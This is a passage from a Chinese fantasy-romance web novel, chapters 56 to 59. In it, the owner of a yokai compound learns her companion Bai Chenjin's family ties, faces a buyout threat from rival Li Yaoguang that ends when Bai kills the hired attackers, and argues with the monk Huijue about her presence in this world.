她被他们盯上了,杀了一个冯维翰,他们只会派来更多、更棘手、更难以揣度的人。 这样她的处境只会更加危险。 白尘烬利用上一次派来的杀手传话,他们停手了,或许是因为他前几日再度涉险,他们又准备动手了。 目前看来,他们还未动手。 他们会对她做什么?拷问?还是控制她的意识,利用她与国师对抗? 这种明知威胁存在,却无法根除的无力感,像毒藤般缠绕着他的心脏,越收越紧,让他愈发压抑。 而这份压抑,在他面对沈染星时,便化作了另一种更具侵略性的情绪。 他甚至开始怀疑,这是否也是她的计谋? 以身入局,离间他与他们,让他因她而方寸大乱,从而达到她的目的。 若真是如此…… 白尘烬眼底的暗色愈发浓重……那她显然成功了。 而且,成功得让他无法自拔。 他该拿她怎么办? 白尘烬目光牢牢锁住身下的沈染星。 视线仿佛有触感一般,扫过她微微颤动的眼睫,拂过她因紧张而抿起的唇瓣,最终落在她纤细脆弱的脖颈上,缓慢而专注。 沈染星被他看得浑身不自在,那双小手下意识地攥紧了他胸前的衣料。 右眼皮却不由自主地跳了起来。 然而,偏偏就是她这幅仿佛任他予取予求的模样,诱着他清醒地沉沦。 白尘烬只觉得下腹一紧,所有的理智和克制都在她这无声的邀请下土崩瓦解。 他肆意地揽住了沈染星的腰身,低头吻住了她。 她身子僵住,双手抵住他的胸膛。 沈染星仿佛天生就是他的克星,只要对上她,他总会多了一分手足无措的感觉,引以为傲的自制力也变得不堪一击,极易失控。 他吻得更深,更重。 不知过了多久,直到沈染星觉得自己快要窒息,白尘烬才猛地松开了她。 他的呼吸依旧粗重,喉结上下滚动了一下:“以后不必再见那个人。” 沈染星被他吻得头晕目眩,眼神还有些迷离。 她抬起头,撞入他幽深的灰眸中。 怎么眼睛又变颜色了? 见她发愣,腰间的手紧了紧,沈染星回过神来,才意识到那个人指的是冯维翰。 心中也同时了然,他这几乎是默认了他与冯维翰之间,的确存在着某种她尚不清楚的,匪浅的关系。 “可是……”,她犹豫了一下,还是小声反驳:“我还需要他提供的药……” 话音刚落,白尘烬盯着她的眼神又冷了下来,明显带着不悦。 她总是这样。 心里装着整个院子,装着那些无关紧要的妖,装着所有人的安危,拥挤不堪。 他环抱住她的身子,手臂收紧,将她更深地按向自己:“我让他送来便好。” 轻声说完,他似乎不愿再给她任何反驳或思考其他事情的机会。 他抬手,拨开了她鬓角被汗水濡湿的几缕发丝,然后再次低头,这次的目标是她雪白纤细的脖子。 他轻轻咬她,带着点惩罚和占有意味。 牙齿厮.磨着细腻的肌肤,所触之处带来一阵阵酥酥麻麻的触感,这感觉迅速窜遍全身,惹得沈染星情不自禁地从喉咙深处溢出两声细碎而甜腻的喘.息。 白尘烬喉结艰难地滑动了一下,微微抬起头,与怀中人四目相对。 沈染星迷离地与他相对。 她按在他下颌处的手指,能感受到他紧绷的肌肉线条。她忍不住用指尖,轻轻地摩挲着那里坚毅的轮廓。 “别动。”白尘烬的声音暗哑到了极致,震得沈染星心尖发颤。 可她根本没听。 因为她知道,或者说,她凭借着对他的了解,笃定地知道—— 他根本不会进行下一步。 她这头驴,目前吃不上这根胡萝卜。 果不其然,在几乎要失控的边缘,白尘烬猛地深吸一口气,像是用尽了全身的力气克制住了那几乎要破笼而出的野兽。 他一手依旧紧紧掐着她的腰,另一只手捉住了她在他下颌作乱的手,然后,他将滚烫的额头重重地埋在她单薄的肩头,像一头困兽般,发出沉重而压抑的喘息声,努力地一下又一下平息体内的冲动。 沈染星靠在门板上,感受到白尘烬急促的心跳渐渐平缓。 犹豫了片刻,她还是按捺不住心中的好奇与疑虑:“白尘烬……你和那位冯老板,到底是什么关系?” 白尘烬闻言,缓缓抬起头,奇怪地看着她。 沈染星对上他视线:“如果不想说,那就……” 白尘烬打断她的话,直接回答:“他是我……家仆。” “家仆?!”沈染星眼睛瞬间瞪得溜圆,几乎以为自己听错了。 他仔细地审视着沈染星的脸,仿佛想从她每一个细微的表情里找出伪装的痕迹。 她怎么会不知道? 她竟然问他冯维翰是谁? 她在暗,他在明,她怎会不知冯维翰是谁。 白尘烬沉默了。 沈染星又问:“那济世堂……是你家的?!” 白尘烬点头。 济世堂,那可是闻名遐迩、遍布各州府的医药世家,底蕴深厚,据说与宫中关系也极为密切,是真正的庞然大物。 冯维翰带来的药,从前白尘烬随手就拿出来的御用药,似乎正好对上了这一点。 不过,沈染星有些疑惑,一个济世堂的公子,真的敢这般毫不掩饰地使用御用药吗? 装都不装,也不怕被官府查? “所以说,你是济世堂的大公子?”沈染星仰头看他,再次确认。 听到“大公子”这个称呼,白尘烬的眉头几不可察地蹙了一下,似乎对这个称呼并不感冒。 他沉默片刻,避开了沈染星的视线,语气含糊地应道:“……算是……小公子吧。” “算是……”沈染星追问,“那到底是还是不是?” “是。” “你不会是私生子吧?” “……不是。” “那你刚刚为什么说‘算是’呢?”沈染星打破砂锅问到底。 “他们在外一般叫我少爷。” 只是因为称呼吗? 沈染星还想再问,身后门板震动,传来敲门声。 纪明月在外面唤她:“染星。” 第57章 喜爱得有些过了 沈染星吓了一跳, 推了推开身前的白尘烬。 白尘烬手臂僵硬了一瞬,眼眸深处掠过淡淡的不满,但最终还是缓缓松开了力道。 沈染星没有看他,径直转过身, 背对着他, 快速整理凌乱的衣襟。 定了定神后, 伸手拉开了书房木门。 门外,天光乍泄。 纪明月果然还等在那里,静立在廊下, 如同一个没有温度的影子。 她的目光不动声色地扫过沈染星尚未完全恢复常态的绯红脸颊。 眉头几不可察地蹙了一下。 在她看来, 沈染星继续和白尘烬厮混下去, 迟早会被卷入风暴中心。 她嘴唇微动,似乎想说什么,但最终什么也没说,只是将那不悦的情绪压了下去。 毕竟,如今的她, 既没有资格, 也没有立场。 纪明月气息冷冷的, 表情也是冷冷的, 沈染星大概猜到她的心思。 由于种种复杂的原因,她总是不喜自己和白尘烬待在一起。 沈染星扯了扯嘴角,露出淡淡的笑,抬步走出了书房,并反手轻轻带上了门。 将门内那个冒着更重寒气的男人隔绝开来。 “走吧。”沈染星对纪明月说道。 自今日起, 纪明月要去处理新妖院的事务,或许大半时间都要住在那边了。 行李已收拾好,她出发前, 想来见见沈染星。 两人并肩,沉默地走在回廊下。 午后的阳光透过廊柱,投下斑驳的光影。庭院里,几株生命力顽强的花草已然重新吐露新芽,倔强地在一片光秃黄土上点缀了绿意。 轻风拂过,沈染星按住耳边飘扬的碎发,看向身旁沉默不语的纪明月。 关于明月的身份,她心中早已有了大致的猜测。 从云老先生的异常,到大鹏妖事件中那过于巧合的失控,再到这次袭击后她毫不遮掩的提点和暗中推动的资源调配…… 种种迹象都指向一个可能:纪明月,很可能是国师那边安插过来的人。 她猜出来了。 她也知道她猜出来了。 她们之间的关系,因此而变得极其微妙。 彼此心照不宣,又都没有捅破那最后一层薄薄的窗户纸,像是一场无声的博弈,又像是默契保持诡异平衡的战友。 沈染星猜不透明月究竟是如何想的。 作为一个奸细,她本应竭尽全力破坏、瓦解共生苑,或者至少是监控、传递消息。 可事实上,在许多关键时刻,明月却选择了出手相助,甚至是不遗余力地帮她。无论是之前寻找药材,还是在这次灾后重建中。 沈染星很清楚,如果没有纪明月,共生苑想要重振旗鼓,恐怕要花费数倍的时间、精力和代价,甚至可能就此一蹶不振。 两人沿着回廊又走了一段,四周只剩下她们规律的脚步声和风吹过新叶的细微沙沙声。 阳光勾勒出纪明月清冷精致的侧脸轮廓,肌肤白皙近乎透明,长长的睫毛垂下,遮住了那双总是深不见底的眼眸。 她穿着一身素净的衣裙,身姿挺拔,行走间,自带一种疏离而利落的气质。 这样一个女子,怎么看都不像是一个甘心受人驱使,行阴暗之事的细作。 可她偏偏就是。 是便算了,还不是一心要害人。 也正是因此,沈染星才一直没有选择与明月摊牌甚至决裂。 如果赶走了明月,不知国师那边会再安插一个什么样的角色进来。 若是真正心狠手辣、无所不用其极之人,到那时,局面恐怕会比现在更加凶险和难以控制。 “那些流言,你有听说吗?”纪明月转头对上她的视线。 她问的是近日城里愈演愈烈的那些关于共生苑的污蔑。 沈染星点了点头:“听说了,已经着手在查了。” 之前那桩被诬陷自家牛妖发疯伤人的事,当时在公堂之上,她们费了不少力气才自证清白。 可如今,不知是谁在背后推波助澜,竟歪曲事实,散布谣言说她们是收买了公堂才得以脱罪。更有甚者,竟直接污蔑她沈染星是人族的叛徒,是妖族安插进来的奸细。 这顶帽子扣下来,其心可诛。 空气随着沈染星的话语落下,再次陷入安静。只有两人的脚步声在空寂的回廊里清晰可闻,嗒,嗒,嗒,不疾不徐,仿佛在丈量着这沉闷的时刻。 纪明月目视前方:“查到线索了?” 沈染星道:“还没找到确凿的证据,不过我大概猜到是谁在背后搞鬼了。” 纪明月侧过头,看了她一眼,淡淡吐出三个字:“天瑶庄?” 沈染星点了点头:“嗯,而且,我昨天又收到了李瑶光请求拜访的来信。” 这封信在这个时机送来,挑衅和试探的意味不言而喻。 其实,妖院刚遭灾祸时,那些骇人听闻的传言确实引起了不小的恐慌,导致了大量委托退单,现金流一度濒临断裂。 那时,沈染星咬牙掏空了自己的小金库,才勉强支撑了一阵,度过了最艰难的时期。 后来,风波稍平,大众慢慢回过味来,发现那场袭击明显是外敌所为,与共生苑内妖物的品行和能力并无直接关联。 再加上她们院里的妖确实训练有素,在执行委托时表现出的专业和可靠有目共睹,于是,一些老主顾又陆陆续续地回来下订单了。 也正是在订单量刚刚有所起色的时候,那些更加离谱、更加恶毒的流言开始如同瘟疫般在暗地里传播开来,显然是有人不想看到她们重新站稳脚跟。 结果可想而知,预期的订单增长变得不温不火,始终难以恢复到从前的水平。 沈染星接着道:“只要捋捋细节,看看如果我们彻底败了,最大的受益人是谁,答案就显而易见了。” 天瑶庄一直想吞并他们,这早已不是秘密。 纪明月:“那你打算如何处理?” 沈染星思考片刻,像是想到了什么,脸上露出一种奇异的光彩。 她停下脚步,转过身面对纪明月,眼睛亮晶晶的,像是落入了星辰。 纪明月也停下来,耐心地看着她。 “其实,我觉得我们未必需要与他们硬碰硬。”沈染星声音轻快,“只要熬过这些日子便好了,你知道萧霁雪吧?” “萧霁雪?”纪明月微微一怔,对这个名字的出现感到有些意外,但她还是点了点头,“知道。” 朝廷四大驯妖司之一,朱雀司的掌上明珠,在年轻一辈中名声极为响亮。 “对,就是她!”沈染星一下子变得神采奕奕,双手微微握紧,脸上洋溢着一种掩不住的兴奋与崇拜,“她也在致力于推广共生契约的理念,认为人与妖并非只能对立,完全可以找到和谐共处,互利共赢的路。而且听说,她的主张还受到了朝廷的认可和鼓舞。” 纪明月静静地看着沈染星此刻的模样。 眼前的她,因为提及另一个人的名字和理念,整个人仿佛都在发光。 那双杏眼黑而润,清澈见底,充满了纯粹的向往和敬佩,脸颊也因为激动而泛着淡淡的粉色,显得格外生动可爱。 一开始,纪明月甚至一度以为沈染星与那位远在京城的萧大小姐有什么私交,后来才发现并非如此。 沈染星似乎只是对萧霁雪这个人……怀有一种莫名的,毫无理由的好感和崇拜。 纪明月垂下眼睑,目光落在脚下光滑的青石地板上,看着石板在自己的步伐中一块块向后退去。 沈染星并未察觉到明月的细微异样:“所以,我们可以以不变应万变!首要目标是坚持下去,等萧霁雪那边的势力真正发展起来,等萧霁雪所倡导的共生模式得到朝廷更广泛的认同和推行,被更多人所了解和接受,只要萧霁雪成功,那么现在这些针对我们的污蔑和谎言,自然就会不攻自破。” 她越说越觉得豁然开朗,“你想想,先前那些客人们之所以能那么快就回过神来,继续信任我们,除了我们自身的努力,很大程度上也是因为萧霁雪,萧霁雪让人们有了更多的信心和包容。再过一段时间,萧霁雪的名声更盛,李瑶光散布的这些谎言,只会显得更加可笑和站不住脚……” 渐渐地,纪明月听不见其他内容,只觉得“萧霁雪”这三个字到处乱窜。 她听得出来,此时的沈染星,一心都在萧霁雪身上,毫不掩饰对对方的喜爱,甚至……喜爱得有些过了。 两人穿过月洞门,视野豁然开朗,已能望见前院。 远远地,便瞧见雪拂慵懒地倚靠在一辆马车车辕旁。 他轻衣缓带,墨发半束,松松挽起,随意披散在肩头,衬得他那张昳丽绝伦的脸愈发苍白,少了几分平日的张扬魅惑,多了几分易碎的脆弱感。 他微微仰着头,似乎在看天边的流云,侧脸的线条优美却掩饰疲惫,唇色也淡得近乎透明。 沈染星止住了话头。 那日妖院遇袭,雪拂为了护住争取时间,强行催动本源妖力,布下幻阵迷惑杀手。 可他……早已没了妖丹。 失去妖丹的妖,如同无根之萍,强行过度使用妖力,无异于过度消耗躯体。 他的伤势痊愈得很慢,身体一直反复,总是这副病恹恹的样子。 沈染星对身旁的纪明月低声道:“要不……我们想办法,帮他把妖丹找回来吧?” 找回他的妖丹,也算是对这一次事件的报答。 纪明月闻言,沉默了片刻,目光也落在远处那道白色的身影上,声音没什么起伏:“没有妖丹,对他才是最好的。” “为什么?”沈染星愕然转头,不解地看向纪明月。 没有妖丹,意味着力量大打折扣,意味着根基受损,意味着可能终生都无法再进一步,甚至要一直承受这种虚弱状态的折磨,这怎么会是最好的? 纪明月缓缓将视线从雪拂身上收回,转而看向沈染星:“你知道天狩司吗?” 沈染星点点头:“知道。” 天狩司,隶属御妖台管辖妖族事务的三大机构之一,与其他机构相比,天狩司的职责更为直接和血腥。 天狩司会深入妖域,猎杀那些被视为威胁的强大妖族,同时也负责捕捉具有特殊价值或反抗朝廷的妖物。 他们是悬在众多妖族头顶的一柄利剑,代表着人族朝廷最铁血,最不容置疑的权威。 “他的妖丹,”纪明月的声音平淡,却字字如冰珠砸落,“就是被天狩司的人剖去的。” 沈染星倒吸一口凉气。 纪明月继续说道:“若是找回来,他会再次被天狩司盯上,结果不会有任何改变,不过是再遭一趟剖丹之罪罢了。” 她顿了顿:“而且,下一次,恐怕就不会只是剖去妖丹那么简单了。” “那我可以放他回妖域。”沈染星道,“回到妖域,天狩司的手总不至于伸得那么长吧?在那里,他或许能安全一些,慢慢养伤。” 在她看来,妖域是妖族的地盘,应该是雪拂的天然庇护所。 然而,听到她这个提议,纪明月唇角轻微地勾动了一下。 沈染星初时以为那是一个笑,但仔细看时,却发现那只是单纯的肌肉动作。 “你知道……”纪明月声平淡,“他的妖丹,是在哪里被剖去的吗?” 沈染星下意识地追问:“……哪里?” “就在他妖域的府邸里。” 沈染星:“?!” 雪拂性子跳脱,没个正形,沈染星一直以为是他作死,来人界瞎玩瞎闯荡,失了足,吃了大亏,丢了妖丹…… 谁知,他竟是在自己家中出事的。 沈染星张了张嘴,却发现喉咙像是被什么堵住了,一个字也说不出来。 可在原书中,人族的能力没有强大到可以无视妖域的规则,直接闯入大妖府邸掳掠大妖。 那这到底怎么回事? 沈染星看向纪明月。 纪明月不再说话,静静朝着雪拂走去,风起,碎发拂过木制发簪的那一点红,在阳光下愈发热烈娇艳—— 作者有话说:嗷嗷,谢谢宝们鼓励,我会继续努力的[加油][加油] 第58章 会不会不一样 雪拂将纪明月小心地扶上了车。 安置好明月, 他转身,朝着站在不远处的沈染星翩翩走来,停在了她面前。 他微微垂下眼睫,缠绵悱恻又忧伤:“东家, 此一去, 山高水长, 不知何时才能再见了……” “行了,别演了。”沈染星双手环胸,毫不客气地戳穿他的表演:“两处不过大半时辰的车程, 在那边的新据点稳定下来之前, 大多数核心事务、账目、还有重要的药材储备都还留在这里, 你们隔三差五就得回来一趟,说得跟生离死别似的。” 雪拂被她拆穿,非但不恼,那双桃花眼反而漾起更浓的笑意。 “东家真是狠心,连这点离愁别绪都不许人家有了么?”他伸出手, 拉过沈染星的手, 抱怨道:“虽说路途不远, 可一日不见, 我这心里就……” 他的话还没说完,沈染星已经抽回了自己的手。 雪拂又打算去拉。 这回,沈染星没再客气,直接抬手,“啪”地一声, 拍开了他那只不安分的爪子。 “你收收性子吧!”沈染星无奈道,“明月嘴上说着不在意,难道就真的是不在意了吗?你风流快活, 四处沾花惹草,觉得无伤大雅,可我告诉你,没有哪个女人会真的不在意自己喜欢的人跟别人牵扯不清。” 她这话说得直白。 雪拂整个人都愣住了,眼眸缓缓睁大,还是第一次有人告诉他这样的话。 他脸上的慵懒和戏谑褪去,只剩呆滞。 沈染星几乎能想象到,如果此刻雪拂是狐狸原型,那两只毛茸茸的尖耳朵,肯定会“唰”地一下竖得笔直。 “真的?”他问。 他居然还真实不知道。 沈染星心里觉得又好气又好笑,忍住扶额的冲动:“当然是真的。” 她继续解释道,试图掰正这只狐狸扭曲的认知:“明月面冷心热,很多时候口是心非。她解释不在意,那就是在意,谁不在意还特意说明自己不在意的。” 雪拂听得怔怔的,似乎在努力消化这番对他而言颇为新奇的道理。 他回想起明月平日里那副冷若冰霜、仿佛对一切都无动于衷的样子,再结合沈染星的话细细品味…… 似乎,每次他与旁人调笑过后,明月周身的气息确实会更冷几分…… 他也是想她如从前那般,多在意他,多和他说话,哪怕是吵架,才愈发肆无忌惮。 他原本以为,只要明月没有明确阻止,便是默许,甚至是不在乎。 可现在有人告诉他,恰恰相反? 雪拂脸上神色变幻不定。 马车窗帘被掀开,罅隙里露出纪明月的半张脸:“雪拂?” “来了。” 雪拂朝沈染星道别,转身走向马车。 他掀开车帘,钻了进去,里面传来纪明月一声轻轻的惊呼。 马车缓缓启动,辘辘驶离了共生苑的大门。 沈染星站在原地,看着马车消失在街角。 刚回到书房,还没来得及喘口气,一道白影便闪电般窜上她的肩头。 小雪貂的小爪子紧紧扒着她衣裳,晶蓝眼眸里神采奕奕:“东家,几里外来了好多人,气息很不对劲。” 沈染星心头猛地一沉,第一反应就是去找白尘烬。 如今妖院元气未复,能抵挡强敌的,唯有他。 她才转身,小雪貂又说道:“我已经告诉白大哥了,他刚才脸色好可怕,什么都没说,直接就走了,应该是去找那些人了。” 正说着,乔阿盈也急匆匆地跑了进来:“东家,天瑶庄的少东家李瑶光来了,就在前厅,说要见你。” 沈染星眉头轻蹙。 外面强敌环伺,里面李瑶光适时来访? 这不是巧合。 她把小雪貂放到阿盈手上,道:“嗯,我去会会他。” 前厅里,李瑶光负手而立。 他今日依旧穿着一身质料华贵的月白长袍,只是与上次相见相比,眉宇间似乎笼罩着一层挥之不去的阴郁,整个人都憔悴了几分,眼下有着淡淡的青黑。 他本就生得俊美,五官精致阴柔,此刻这份憔悴,更给他增添了几分破碎和雌雄莫辨的脆弱感,只是那眼神深处,却压抑着烦躁与戾气。 沈染星步入厅内,脸上挂起笑:“李少东家大驾光临,有失远迎,今日气色似乎不佳,可是没有休息好?” 她不提这个便罢,一提此事,李瑶光只觉得一股邪火直冲天灵盖。 他为何休息不好? 还不是拜她所赐! 他相貌本就偏于阴柔,她棋高一招,散布他有龙阳之好,这已经让他恼火不已。 更雪上加霜的是,做那之后,在一次世家宴会上,他不知遭了谁的暗算,竟浑身麻痹,动弹不得,直直摔进了恰好站在他附近的秦昭怀里。 最可恨的是,他当时连话都说不出来,只能眼睁睁看着众人惊愕、暧昧、甚至带着怜悯的目光,于是那谣言更是如同野火般燎原,愈演愈烈。 一想到众人在看笑话的眼神,李瑶光就气得肝疼。 他今日来,本是打算维持翩翩风度,先礼后兵。可被沈染星这么一关心,新仇旧恨涌上心头,那点伪装出来的礼节瞬间被他抛到了九霄云外。 他勉强扯了扯嘴角,连寒暄都懒得维持,直接切入主题:“沈东家,闲话少叙,我今日前来,是给你指一条明路。将这共生苑,连同你手下的所有妖仆契约,一并转让给我天瑶庄。价格,不会亏待你。” 沈染星早已猜到他的意图,礼貌拒绝:“多谢少东家好意,只是这妖院是我的心血,没有转让的打算。” 李瑶光见她拒绝,劝道:“你不知道,你已经触碰到了某些势力的利益,挡了别人的财路,是不会有好下场的。” 沈染星迎着他目光,毫不退缩:“这是大势所趋,我不过是顺应时势而已。” “大势所趋……”李瑶光轻笑一声,“我也不怕告诉你,今日我是应上面的要求,带了不少人过来若是你执迷不悟,不肯听从……” 沈染星心知他指的是外面那些带着杀气的人,面上却故作不解,挑眉问道:“不肯听从,又会怎样?” 李瑶光看着她那天真的模样,唇边勾了勾:“会血洗这里,相比先前你们遇到的那两次的,这一次,人更多,手段也更干脆。我也是看在……好歹相识一场的份上,才好心提醒你。” 沈染星心中明镜似的,他们这是软硬兼施,想要逼她就范。 巧了,她这人,软硬不吃! 她也勾了勾唇:“既然前两次生死难关我们都挺过去了,若是现在因为少东家几句话就服输认栽,那我以前吃的苦,受的罪,岂不是都白费了?” 李瑶光盯着她:“你还算是个有骨气的人,难怪……秦昭明里暗里都要护着你几分。” 若不是秦昭那边一直卡着,以他的手段,早就来找沈染星算账了,何至于等到那股势力支持才过来! 自那之后,不少拎不清的男子向自己示好。 都是拜这女人所赐! 没来一个不识好歹的男人,他便想把这个女人狠狠教训一番! 李瑶光说得咬牙切齿,沈染星却听出了酸意和愤懑。 听他再次提起秦昭,又见他这副怨愤的模样,心中那关于“李瑶光爱慕秦昭”的误会更深了。 她体贴地解释道:“李少东家,你也不必太过在意。其实我对秦堂主,真的没有任何非分之想,我们只是寻常公务往来……” “你闭嘴!”李瑶光像是被踩了尾巴的猫,猛地打断她,脸色一阵青一阵白,拒绝再继续这个让他无比难堪的话题。 “少说这些没用的,识相的话,就开个价吧,这是你最后的机会。” 沈染星缓缓站起身,姿态从容:“李少东家,若是想谈合作,探讨人与妖共生之道,我共生苑大门随时欢迎。若是想强买我的妖院……” 她摇了摇头:“绝无可能。” “我若是硬要呢?”李瑶光也站起身,身高带来的压迫感瞬间笼罩下来。 他面色平静又狠厉,手指向厅外,声音阴寒:“外面全是我带来的人,只要我一声令下,就能把你这里杀个干干净净……” 他话尚未说完,声音却戛然而止。 门外走进一道身影。 沈染星顺着他视线看去。 白尘烬一袭深色衣衫,被暗红的血液浸透,长剑指地,剑尖滴滴答答地往下淌着粘稠的血珠。 灰蓝色眼眸泛着一种近乎妖异的冰冷幽蓝光芒,透着纯粹的、令人灵魂战栗的杀意。 他冷静有序地往里走,周身散发出的恐怖威压和血腥气息,仿佛让整个前厅的温度都降了几分。 李瑶光只觉得一股寒气从脚底板直冲天灵盖,浑身汗毛倒竖。 白尘烬走到沈染星身侧,站定,从怀里掏出一块玄铁令牌,随手一抛。 玄铁令牌沾染着新鲜血迹,“哐当”一声,落在了李瑶光脚边。 白尘烬淡淡道:“杀干净了。” 沈染星点点头,看向面色惨白的李瑶光,脸上露出了得意的甜笑。 李瑶光死死地盯着脚边那枚染血的令牌,只觉得一股刺骨的寒意瞬间席卷了全身,四肢百骸都冰冷僵硬,连呼吸都变得困难起来。 他带来的那些人全军覆没了? 就在这短短的时间内……这个人到底是什么怪物?! 李瑶光来时,因连日来的各色谣言和某些不长眼男子的骚扰,本就精神不济,来见沈染星一面……更差了。 谁能想到,这新兴的妖院里,竟然藏着一个实力如此强悍的狠角色。 白尘烬的信息显然有人故意隐藏,他自认为对此处了解不浅,却完全没有注意到他。 这已经完全超出了他的认知范畴,带来的冲击远胜于任何商场的尔虞我诈。 最终,一身傲骨的李瑶光受尽了打击,几乎是失魂落魄地离开。 沈染星没有亲自相送,只是吩咐了一个机灵的小伙,将他客客气气地送出了院门。 待他们离开,沈染星转过身,目光落在周身煞气未散的白尘烬身上。 那双泛着幽蓝光芒的眼眸,在略显昏暗的厅堂里,亮得触目惊心。 “你有没有受伤?”沈染星走上前,目光仔细地在他身上逡巡,试图找出除了敌人血迹之外的伤痕。 白尘烬摇了摇头。 那些人打算布阵,还未结成,未形成有效的抵抗,就被他以雷霆之势解决了,所以过程其实并不艰难,自然也谈不上受伤。 沈染星松了口气,看着他亮得惊人的眼眸,迈了一小步,然后伸出双臂,环住他,试图安抚。 白尘烬一手执剑,另一个手,十分自然地搭在了沈染星的腰上。 纤细的腰肢不堪一握,他轻轻拍了一下:“我身上脏。” 沈染星“嗯”了一声,无奈的抱怨道:“既然有多余的力气,下次能不能优雅一点,不要每次都搞得浑身都是血。” 白尘烬沉默了。 他以为她会像记忆中师父身边那个女人一样,责怪他滥杀无辜。 竟然只是嫌他弄得一身血,不够优雅? 让他下次注意点方式方法? 她不知道自己的底细,也不在意他的身份,更不在他所做的事情。 她和那个人……是不一样的。 那么,是不是意味着……他们之间,也不一定会重蹈师父和那个女人的覆辙,最终不会走向那样惨烈决绝、生死离别的结局。 白尘烬搭在她腰间的手臂不自觉地微微收紧,喉结上下滚动了一下,仿佛有千言万语堵在胸口,最终却只化作一个低沉字:“好。” 话音一落,沈染星撤开了一些。 陡然离开的温热,让白尘烬搭在她腰间的手臂肌肉一紧。 挣扎了一瞬,还是没有把她禁锢在怀里。 白尘烬的轮廓深邃如刀削,即便缠着素帛,也能看出喉结的锋利。 沈染星仰头,轻轻吻了一下,一触即分。 白尘烬身躯瞬间僵硬,喉结滚动。 “我去找人备水,你好好洗洗。”沈染星说完,不等他反应,转身离开。 白尘烬立在原地,缓缓抬手,轻轻抚过刚才被她亲吻过的位置,看着她的背影,眸色骤然变深。 第59章 这一次似乎很不一样。…… 沈染星回到书房, 心不在焉地处理账目和信件。 分明事情已告一段落,她却依旧心神不宁。 很快,她便知道了原因。 乔阿盈再次脚步匆匆地走了进来:“东家,外面来了个和尚, 自称慧觉, 说要见你, 要不要直接把他赶走?” 阿盈一直记得,东家对和尚似乎有种莫名的排斥。 刚建立妖院那会儿,连不远处山巅寺庙的屋顶都不愿多看, 清晨听到悠远的钟声也会下意识地蹙眉, 甚至吩咐过若有僧侣上门, 一律拒之门外。 之前倒是拒过几次,不过上一次东家接见了一次,这一次她拿不定注意了。 几乎是下意识的,沈染星脱口而出:“赶走吧。” 原来又是那个臭和尚,难怪她心神不宁, 那慧觉简直和她八字不合, 天生相克! “是。”阿盈应声, 转身便要出去传话。 “等等。” 沈染星却忽然又叫住了她。 她揉了揉眉心, 觉得还是得好好谈清楚,改口道,“……让他去前院偏厅等我吧。” 阿盈有些意外,但还是应道:“好的,东家。” 沈染星看着阿盈离去的身影, 心中复杂。 她最初排斥慧觉,以为一眼就能看出她底细的和尚,可能身负什么诡异神通, 能够将她这个异世之魂强行送回去。 可经过前几次不算愉快的接触,她发现慧觉虽然执着,却似乎并没有那种强行扭转乾坤的能力。 他更像是一个……看到了灾难预告而心急如焚的人,试图找到那个导致灾难的错误,并修正。 而他认定的那个错误,就是她。 偏厅里,有人为沈染星和慧觉奉上清茶,氤氲的热气暂时驱散了些许僵硬的气氛。 慧觉依旧是那身灰色僧袍,面容清癯,眼神澄澈,晕着洞悉世事的悲悯。 “沈施主,你可知道,就在今日,就在这共生苑附近,又有数十条生灵,被无情屠戮了吗?” 他说得很直白,目光平静,注视着沈染星。 沈染星端着茶杯的手微微一顿,随即恢复自然。 她抬起眼,迎上慧觉的目光,没有否认,也没有惊慌,只是反问道:“慧觉师傅,那你可知道,那数十条生灵,是带着杀气、准备布阵围攻我共生苑的杀手吗?” 慧觉眉头微蹙,语气依旧平和:“他们是因你而来。” “不,他们不是因我而来。” 沈染星立刻否认,放下茶杯:“他们是因这个院子,因这院子里寻求与人族共存的妖而来。无论开设这个妖院的人是谁,是沈染星,还是李染星,王染星,只要触动了某些人的利益,今日之事都不可避免。” 慧觉依旧静静垂眼,缓慢拨动手中的佛珠,似乎并不赞同她的说法。 沈染星顿了顿,继续说道:“慧觉师傅,你曾经的告诫,我并没有忘。” 慧觉微微抬眼:“那施主为何仍执意于此,不肯离去?” “我没有忘,”沈染星重复,“但我同样确信,你所说的生灵涂炭,不是由我引起,更不是因我存在于这个世界而引发的。” 慧觉捻着佛珠的手指停顿了一下:“施主为何如此笃定?” 他凭借多年苦修与机缘,才得以窥探到一丝模糊的天机,知晓此国未来将有一场席卷众生的大灾难。 他不断推演,最终将变数锁定在眼前这个命格奇特的女子身上。 他一直坚信,她就是那场灾祸的诱因。 沈染星迎着他惊讶的目光:“因为我知道这个世界未来的走向。” 慧觉知她所说并非妄言,略略屏息静听。 “那是一场不可避免的灾祸,”沈染星道,“无论我在,或者不在,它终将到来。” 闻言,慧觉抬起头看她,眼中盛满惊讶。 窥探天机,乃是逆天而行,需要付出极大的代价,且往往只能得到一些模糊的片段和指向。 他穷尽心力,也只知道将有大灾,以及沈染星是这个局中最大的变数。 而眼前这个女子,竟然如此平静而肯定地说出知道这个世界未来的走向。 沈染星看了慧觉的反应,明白他所知不多。 又见他实在执着,把记得的原书中关于祸乱的内容一一告知。 这并非寻常的天灾,亦非简单的妖魔作乱,这是皇家的权力之争,是盘旋在这个国家顶端的、最顶尖的掠食者之间的博弈。 国师利用妖族,试图攫取更多的权柄;皇帝陛下心知肚明,暗中布局;而作为皇帝手中利刃的萧霁雪,也同样清楚自己的使命。 双方都不可能放手,妥协无从谈起。 这暗流早已涌动多年,最终必然要分出一个胜负,定下这江山未来的走向。 沈染星道:“我即便知晓过程与结局,可以我微薄之力,参与进去,也不会产生多大的变化。或许能延缓一时,或许能改变某些细节,但大势所趋,如同江河奔流入海,绝非一人之力可以扭转。强行介入,恐怕非但不能救人,反而会让自己和身边所有人,都卷入其中。” 说完,沈染星轻轻叹了口气,是福不是祸,是祸躲不过。 看如今的情形,她和身边的人或妖已然在风暴之中。 沈染星自认为自己已然动之于情,晓之于理,可偏偏,面前这个和尚……是头倔驴! 而且是倔驴中的倔驴。 慧觉怔怔地听完,自知那灾祸难以阻止,可依旧不认为沈染星这个异世之魂该待在这里。 也动之于情,晓之于理地劝了她好一阵。 劝得她怒从心气,一路攀升至脑袋,面色都有些涨红了。 沈染星滕地站起来,指着慧觉道:“你这头秃驴怎么就那么倔,我说了,我在那边就只是吊着半条命,即便是死了,也不会有人伤心,不会有人在意,你怎么还要这般坚持不懈把我赶回去呢?” 慧觉张了张嘴,想要说话。 沈染星没给他机会,气势压着他:“况且,我在这里又不碍着你了,甚至我还可以给萧霁雪吸引一部分火力,那是有利而无害的。” 慧觉:“施……” “别施了,我还有其他事,就不多相陪了,”沈染星打断他,朝外喊人,“帮我送送师父出去。” 说完,沈染星起身便离开偏厅,生怕慧觉再说些什么。 